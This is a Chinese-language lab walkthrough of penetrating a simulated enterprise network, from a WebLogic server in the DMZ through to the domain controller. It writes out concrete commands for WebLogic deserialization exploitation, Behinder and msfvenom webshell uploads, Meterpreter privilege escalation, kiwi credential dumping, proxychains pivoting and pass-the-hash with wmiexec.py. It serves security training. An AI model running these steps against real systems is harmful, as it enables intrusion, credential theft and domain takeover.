渗透测试综合实验(迂回渗透,入侵企业内网并将其控制为僵尸网络)
第1节 实验概述
1.1 实验背景概述
本实验为模拟真实企业环境搭建的漏洞靶场,通过网络入侵Web服务器,拿到控制权限后发现有内网网段,建立隧道做内网穿透,接着进一步扫描内网主机,并进行漏洞利用,最终通过域渗透获取域控制器主机权限。本实验拓扑规划如下图所示:
拓扑描述:实验拓扑整体分为外网、企业网络(DMZ区、内网区域),Web服务器部署在DMZ区域,提供Web服务给互联网用户访问,在内网区域通过部署域的方式实现企业员工主机的管理。
实验目的:了解域在企业内网安全防护的重要性。通过对企业内网的整体性渗透测试,包括信息收集、漏洞扫描、漏洞利用、内网穿透、域内信息收集、域内权限提升等流程,让读者加深对内网渗透的理解,掌握渗透测试的常用方法与技巧,最终能将所学知识与技能灵活运用到实际工作当中。
1.2 实验环境及实验工具要求
实验环境:
本实验环境通过VMware Workstation 15.5.6建立,通过NAT模式及仅主机模式来模拟企业外网与内网,具体网段分配如下所示:
内网网段:10.10.10.0/24 DMZ网段:192.168.200.0/24 本实验共5台实验机器,IP配置信息如下: DC(域控制器): (内网)IP:10.10.10.10 WEB(Web服务器): (内网)IP1:10.10.10.80 (外网)IP2:192.168.200.203 PC(域内主机): (内网)IP1:10.10.10.201 (外网)IP2:192.168.200.206 攻击机: (外网)IP:192.168.200.158(Windows攻击机) (外网)IP:192.168.200.207(Kali攻击机) |
环境说明:
本实验所有机器登录密码均为:Test@1234
实验工具:
Nmap(网络探测工具)
WeblogicScan(Weblogic漏洞扫描工具)
Java反序列化终极测试工具
Metasploit(安全漏洞检测工具)
Behinder冰蝎(WebShell综合管理工具)
火狐浏览器
第2节 实验过程
2.1 环境准备
2.1.1 用到的渗透知识
- 配置基本网络
- 开启Web服务
2.1.2 对应的渗透步骤
1.配置网络
在实验机器中,已经将内网IP地址设置完毕,因此只需要在VMware workstation中设置虚拟网络,单击左上角“编辑”->“虚拟网络编辑器”。
在虚拟网络编辑器中,将VMnet1虚拟网卡的网段设置为内网网段:10.10.10.0/24。
将VMnet8虚拟网卡的网段设置为外网网段:192.168.200.0/24。
2.查看网络配置情况
在DC主机中,通过TEST\administrator用户登录。
在CMD中查看IP配置情况。
在WEB主机中,通过WEB\administrator用户登录。
在CMD中查看IP配置情况。
在PC主机中,通过TEST\testuser001用户登录。
在CMD中查看IP配置情况。
3.开启Web服务
在实验开始之前,需要在WEB主机中开启Web服务,以满足后续步骤的需求。进入WEB主机的“C:\Oracle\Middleware\user_projects\domains\base_domain\”文件夹,以管理员身份运行:startWeblogic.cmd文件。
运行之后,在弹窗的执行窗口看到如下内容,说明服务运行成功。(注意:此窗口不能关闭,最小化即可。)
2.1.3 渗透结果
进入Kali攻击机(账号:root密码:Test@1234),打开浏览器访问Web服务地址,若出现以下界面,则说明环境配置成功。
2.2 信息收集
2.2.1 用到的渗透知识
- Nmap探测系统指纹、开放端口技巧
- WeblogicScan工具探测漏洞
2.2.2 对应的渗透步骤
1.通过Nmap探测Web服务器系统指纹、开放端口等信息
在Kali终端执行:nmap -sV -O 192.168.200.203
探测端口服务:nmap -Pn -A -T4 192.168.200.203
根据以上扫描结果,发现Web服务器开放了很多常用端口。部分端口可能存在漏洞,具体如下:
445端口:开放意味着存在smb服务,可能存在ms17_010永恒之蓝漏洞;
7001端口:说明存在weblogic服务,可能存在反序列化、SSRF、任意文件上传、后台路径泄露;
139端口:说明存在Samba服务,可能存在爆破、未授权访问、远程命令执行等漏洞;
1433端口:说明存在MSSQL服务,可能存在爆破、注入、SA弱口令等漏洞;
3389端口:说明存在远程桌面。
2.Web漏洞探测
使用WeblogicScan工具扫描Web服务器。进入/root目录,查看WeblogicScan工具并将工具解压。
进入WeblogicScan目录,执行命令扫描漏洞。
2.2.3 渗透结果
经过脚本探测,发现目标服务器的后台地址,并且该脚本会尝试爆破登录密码,但是由于字典限制,爆破未能成功。
同时,发现存在Java反序列化漏洞,包括如下几个漏洞:
CVE-2017-3506 漏洞
CVE-2019-2725 漏洞
CVE-2019-2729 漏洞
2.3 漏洞利用获得Webshell
2.3.1 用到的渗透知识
- 冰蝎马Webshell的获取方法
- MSF-Webshell的获取方法
- 主机信息的收集方法
- 权限提升方法
2.3.2 对应的渗透步骤
1.方式一:上传冰蝎马获取Webshell
在Windows攻击机中,进入桌面的“Java反序列化终极测试工具”文件夹,在当前文件夹打开CMD,并执行:java -jar DeserializeExploit.jar
打开工具后,选择对应中间件类型,并填写地址,最后单击“获取信息”。
能够获取目标信息,说明漏洞已经成功利用。此时,切换到“执行命令”,查看当前用户权限。
根据上图可知,当前用户权限为administrator。此时,利用这个工具上传冰蝎马,获取更
加强大的Webshell。
在Windows攻击机,进入桌面的“冰蝎_v4.0.6\server”文件夹,打开shell_java9.jsp木马文件,并将代码内容复制下来。
在Java反序列化终极测试工具中,将代码写入到shell3.jsp并上传至如下路径:
\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell3.jsp
在浏览器访问如下地址,确认木马是否成功上传并解析:
http://192.168.200.203:7001/console/framework/skins/wlsconsole/images/shell3.jsp
页面显示空白说明解析成功。
打开冰蝎工具。
在空白处新增链接,填入对应内容并保存。
右键打开链接,页面会自动加载连接。
若页面显示“已连接”,则说明Webshell获取成功。
此时可以在冰蝎进行进一步渗透利用,功能包括:命令执行、虚拟终端、文件管理、内网穿透、反弹shell数据库管理等。
2.方式二:上传MSF木马获取Webshell
通过msfvenom生成php木马文件,并保存到/var/www/html/目录下。
启动apache服务。
在Windows攻击机,访问Kali木马地址。
将木马内容复制到Java反序列化终极测试工具,并提交上传。
在Kali监听反弹的Webshell。
通过浏览器访问上传到Web服务器的木马文件。
回到Kali,可以看到Webshell已经成功反弹过来。
3.获取主机信息
在Meterpreter-Shell中,查看当前shell信息及用户权限。
执行:shell命令,进入目标主机CMD界面,若出现乱码,则在CMD界面执行:chcp 65001解决乱码问题。
查看网络配置信息。
查看操作系统及版本信息。
查看系统服务安装及运行情况。
查看启动程序信息。
查看防火墙状态。可以看到防火墙为开启状态。
查看系统补丁信息。
4.提升权限
回到Meterpreter-Shell,执行ps查看进程。
通过getpid查看当前shell的进程号。
可以看到这个进程很容易被发现,需要进一步隐藏。
将进程迁移到SYSTEM权限的进程:services
注:services.exe是微软windows操作系统的一部分,用于管理启动和停止服务。
执行migrate 468进行迁移。
进程迁移后直接变成SYSTEM权限。
关闭防火墙。
加载mimikatz,在新版MSF中mimikatz已经被kiwi替代。
执行: load kiwi
kiwi常用指令如下表所示:
常用命令 | 说明 |
creds_all | 列举所有凭据 |
creds_kerberos | 列举所有kerberos凭据 |
creds_msv | 列举所有msv凭据 |
creds_ssp | 列举所有ssp凭据 |
creds_tspkg | 列举所有tspkg凭据 |
creds_wdigest | 列举所有wdigest凭据 |
2.3.3 渗透结果
通过上传MSF木马成功获取到Webshell,并通过提权成功得到域账号及密码等信息。
执行:creds指令获取域内账号明文信息。
2.4 内网渗透
2.4.1 用到的渗透知识
- 域内信息收集方法
- 内网流量代理方法
- 域内主机权限的获取方法
- 域控制器权限获取方法
2.4.2 对应的渗透步骤
1.WEB主机内网信息收集
在前面步骤中,已经得知WEB服务器存在一个内网网段:10.10.10.0/24
在CMD界面,继续收集域内信息。
执行:net config workstation //查看当前计算机名,用户名,系统版本,工作站域,登陆的域等
若提示如上报错,则执行:ipconfig /all也能看到域的信息,最终得到工作域为:test.com
执行:net user /domain //查看域内用户
执行:net group /domain //查看域用户组列表
执行:net group "domain computers" /domain //查看域内所有机器,可以看到目前有2台域内主机。
执行:net group "domain controllers" /domain //查看域控制器组,可以看到域控制器主机名为:DC
执行:net group "Enterprise Admins" /domain //查看域管理员,可以看到管理员为:Administrator
利用auxiliary/scanner/smb/smb_version 模块探测内网存活主机。
由于未进行内网漫游,因此最终只能得到WEB服务器的内网IP、操作系统版本及主机名等信息。
2.建立域内连接(内网穿透)
回到Meterpreter-Shell,执行:run post/windows/gather/enum_domain //查看域控制器IP
得到域控为:DC.test.com,IP为:10.10.10.10
执行:run post/multi/manage/autoroute //添加内网路由
查看路由。
挂起当前session。
通过auxiliary/server/socks_proxy模块建立反向代理。
修改/etc/proxychains4.conf代理配置文件,在最后一行将IP修改为:127.0.0.1,端口修改为:1080
3.其他主机内网信息收集
此时,在Meterpreter-shell执行:run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 进行域内存活主机探测。
根据上面探测结果,还有一台IP为10.10.10.201的机器是未知状态。
利用auxiliary/scanner/smb/smb_version模块进行探测。
最终成功探测,得到目标主机为:Windows 7 sp1操作系统。
4.获取域内主机权限
通过Nmap进行防火墙探测。
执行:proxychains4 nmap -Pn -sF 10.10.10.201
进一步通过Nmap进行端口和服务探测。
执行:
proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.201
根据前面的探测结果,验证是否存在MS17-010漏洞。
利用auxiliary/scanner/smb/smb_ms17_010模块进行探测是否存在漏洞。
确认漏洞存在后,通过psexec模块进行漏洞利用。
执行exploit之后,没有返回监听,漏洞利用失败。
因为前面已经通过kiwi获得了域管理账号的hash值,所以,此时可使用wmicexec.py进行漏洞利用。
执行:
proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.201
最终还是利用失败。
5.获取域控制器权限
由于前面步骤无法正常获取域内主机权限,因此,先考虑尝试获取域控制器权限,最后再通过域控制器获取域内主机控制权限。
通过Nmap进行端口和服务探测。
执行:
proxychains4 nmap -Pn -sS -T4 -sV -p21,22,53,80,135,445,1433,3389,8080 10.10.10.10
发现同样开放了445端口。
和2.4.4步骤一样,尝试通过wmicexec.py进行漏洞利用。
执行如下命令:
proxychains4 /root/wmiexec.py -hashes 00000000000000000000000000000000:b6e259e4e96f44d98ab6eeaa3b328ed7 Administrator@10.10.10.10
可以看到,最终成功拿到域控制器管理员权限。
查看域控制器是否开启防火墙。
由于乱码问题,无法确定防火墙开启与否。
此时,需要考虑换一种方式获取shell,可参考2.4.4的方式进行shell的获取,例如:使用
最终成功获得反弹的shell,并获得SYSTEM最高控制权限。
进入域控制器CMD-shell,查看防火墙是否开启。
根据上图可知,防火墙为开启状态,此时需要关闭防火墙。
查看是否开启远程桌面。
2.4.3 渗透结果
1.通过域内横向渗透,最终成功获得域控制器和域内主机管理权限。执行如下命令,远程登录域控制器:
proxychains4 rdesktop 10.10.10.10
在远程登录界面,选择“其他用户”,然后填写前面获取的域管理员账号及密码进行登录。
成功进入域控制器。
此时,将域控制器作为跳板机,可以直接远程登录到域内主机(PC)。
在域控制器打开远程桌面。
填写账号及密码。
注:若一直处于连接状态,则关闭重新建立连接。
成功登录PC域内主机。
环境链接:https://pan.baidu.com/s/1bEDIorNu4BLd8fu4aXxbFw
需要的私信我